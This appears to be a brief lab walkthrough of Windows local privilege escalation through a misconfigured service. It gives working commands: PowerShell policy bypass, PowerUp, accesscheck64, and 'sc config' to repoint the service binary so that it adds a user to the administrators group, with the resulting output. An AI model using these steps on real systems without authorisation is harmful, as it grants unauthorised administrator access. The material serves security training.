Binary Paths

If we have permissions to change the configuration of services then we can change the config to execute any command we want.

Discovering services with weak permissions using Powerup:

powershell -ep bypass
. .\Powerup.ps1

Looking closer at the service with accesscheck64 we can see that the “everyone” group has permissions to change the config and stop and start the service.

accesscheck64.exe -wuvc daclsvc

Querying the service and config with “sc query daclsvs” and “sc qc daclsvc”

We can change the “BINARY_PATH_NAME” to any command we like and it will be executed when we start the service. Lets add ourselfs to the administrators group:

sc config daclsvc binpath= "net localgroup administrators user /add"

Start the service

sc start daclsvc
C:\Users\>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain


The command completed successfully.